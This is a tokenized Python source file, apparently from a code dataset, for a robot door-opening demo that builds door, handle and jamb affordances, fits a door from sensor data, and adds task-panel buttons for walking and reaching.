"]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "existed", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "._", "set", "Property_", "(_", "'", "Point", " ", "Size", "'_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "spawn", "Doo", "r", "Aff", "orda", "nce_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ground", "Frame_", "=_", "self_", "._", "compute", "Gro", "und", "Frame_", "(_", "self_", "._", "robot", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Off", "set", "X_", "=_", "0.7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Off", "set", "Y_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Gro", "und", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "door", "Off", "set", "X_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Gro", "und", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Gro", "und", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Walk", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "door", "Off", "set", "X_", "+_", "0.6_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Walk", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Walk", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Width_", "=_", "36_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Height_", "=_", "81_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Depth_", "=_", "0.5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Hei", "ght", "Fro", "m", "Gro", "und_", "=_", "35_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Distan", "ce", "Fro", "m", "Edge_", "=_", "1.6", "25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Distan", "ce", "Fro", "m", "Doo", "r_", "=_", "1.7", "5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Length_", "=_", "4.1", "25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Depth_", "=_", "0.25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Jam", "Width_", "=_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Jam", "Depth_", "=_", "4.5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "-_", "handle", "Distan", "ce", "Fro", "m", "Doo", "r_", "-_", "door", "Depth_", "/_", "2.0_", "-_", "handle", "Depth_", "/_", "2_", ",_", "door", "Side_", "*_", "(_", "door", "Width_", "/_", "2.0_", "-_", "handle", "Distan", "ce", "Fro", "m", "Edge_", "-_", "handle", "Length_", "/_", "2.0_", ")_", ",_", "handle", "Hei", "ght", "Fro", "m", "Gro", "und_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "(_", "door", "Width_", "/_", "2.0_", "+_", "door", "Jam", "Width_", "/_", "2.0_", ")_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "-_", "(_", "door", "Width_", "/_", "2.0_", "+_", "door", "Jam", "Width_", "/_", "2.0_", ")_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "door", " ", "handle", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "handle", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "handle", "Depth_", ",_", "handle", "Length_", ",_", "0.02_", "]_", ",_", "Color_", "=_", "[_", "0.0_", ",_", "1.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "door", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Depth_", ",_", "door", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.5_", ",_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "left", " ", "door", " ", "jam", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "left", "Doo", "r", "Jam", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Jam", "Depth_", ",_", "door", "Jam", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.7_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "right", " ", "door", " ", "jam", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "right", "Doo", "r", "Jam", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Jam", "Depth_", ",_", "door", "Jam", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.7_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Gro", "und", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "door", "Gro", "und", "Frame_", ",_", "'", "door", " ", "ground", " ", "frame", "'_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "stance", "Frame_", ",_", "'", "door", " ", "stance", " ", "frame", "'_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Walk", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "door", "Walk", "Frame_", ",_", "'", "door", " ", "walk", " ", "frame", "'_", ",_", "visible_", "=_", "False_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Frame_", "=_", "door", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "=_", "handle", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "=_", "left", "Doo", "r", "Jam", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "=_", "right", "Doo", "r", "Jam", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "=_", "vis_", "._", "Frame", "Sync_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "stance", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Walk", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "left", "Doo", "r", "Jam", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Frame", "Sync_", "._", "add", "Frame_", "(_", "right", "Doo", "r", "Jam", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "=_", "vis_", "._", "Frame", "Sync_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "._", "add", "Frame_", "(_", "door", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame", "Sync_", "._", "add", "Frame_", "(_", "handle", "Frame_", ",_", "ignore", "Inco", "ming", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "find", "Doo", "r", "Handle", "Aff", "orda", "nce_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Gro", "und", "Frame_", "=_", "door", "Gro", "und", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "=_", "stance", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Walk", "Frame_", "=_", "door", "Walk", "Frame_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "Doo", "r", "Handle", "Aff", "orda", "nce_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", " ", "handle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "compute", "Doo", "r", "Hin", "ge", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "compute", "Doo", "r", "Handle", "Gra", "sp", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "compute", "Doo", "r", "Handle", "Stan", "ce", "Frame", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Estimated", "Robot", "State", "Pose", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "np_", "._", "array_", "(_", "self_", "._", "sensor", "Joint", "Controller_", "._", "get", "Pose", "_", "(_", "'", "EST", "\\u", "ROB", "OT", "\\u", "STATE", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Plann", "ing", "Start", "Pose", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "plan", "Fro", "m", "Curr", "ent", "Robot", "State_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "get", "Estimated", "Robot", "State", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "plans", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "robots", "tate_", "._", "convert", "State", "Messag", "e", "To", "Dra", "ke", "Pose", "_", "(_", "self_", "._", "plans", "_", "[_", "-_", "1_", "]_", "._", "plan_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "get", "Estimated", "Robot", "State", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Doo", "r", "Image", "Fitt", "er_", "(_", "Image", "Base", "d", "Aff", "orda", "nce", "Fit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Image", "Fitt", "er_", "(_", "Image", "Base", "d", "Aff", "orda", "nce", "Fit_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "door", "Demo", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Image", "Base", "d", "Aff", "orda", "nce", "Fit_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "number", "Of", "Points_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "=_", "door", "Demo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Image", "Fitt", "er_", "(_", "Image", "Base", "d", "Aff", "orda", "nce", "Fit_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fit_", "(_", "self_", ",_", "poly", "Data_", ",_", "points_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stance", "Frame_", "=_", "Foot", "step", "Request", "Generator_", "._", "get", "Robot", "Stan", "ce", "Frame_", "(_", "self_", "._", "door", "Demo", "_", "._", "robot", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Gro", "und", "Frame_", "=_", "segmentation_", "._", "segment", "Doo", "r", "Plane_", "(_", "poly", "Data_", ",_", "points_", "[_", "0_", "]_", ",_", "stance", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "fit", "Doo", "r_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "._", "show", "Doo", "r", "Handle", "Points_", "(_", "poly", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "door", "Demo", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Task", "User", "Panel_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "window", "Title_", "=_", "'", "Doo", "r", " ", "Task", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Demo", "_", "=_", "door", "Demo", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "fitter", "_", "=_", "Doo", "r", "Image", "Fitt", "er_", "(_", "self_", "._", "door", "Demo", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "Image", "View_", "(_", "self_", "._", "fitter", "_", "._", "image", "View_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Default", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Buttons_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Tasks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Task", "Panel_", "(_", "Task", "User", "Panel_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Buttons_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Spawn", " ", "door", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "spawn", "Doo", "r", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Foot", "step", "s", " ", "to", " ", "door", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Foot", "step", "s", "To", "Doo", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Foot", "step", "s", " ", "through", " ", "door", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Foot", "step", "s", "Through", "Doo", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Rai", "se", " ", "arms", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Pre", "Reach", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Tu", "ck", " ", "Arm", "s", " ", "(", "pre", "-", "push", ")'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Tu", "ck", "Arm", "s", "Pre", "Push", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Tu", "ck", " ", "Arm", "s", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Tu", "ck", "Arm", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Open", " ", "pin", "ch", "'_", ",_", "self_", "._", "open", "Pin", "ch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Clos", "e", " ", "pin", "ch", "'_", ",_", "self_", "._", "close", "Pin", "ch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Spacer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", "'", "Reach", "'_", ",_", "self_", "._", "door", "Demo", "_", "._", "plan", "Reach", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Manu", "al", "Button_", "(_", 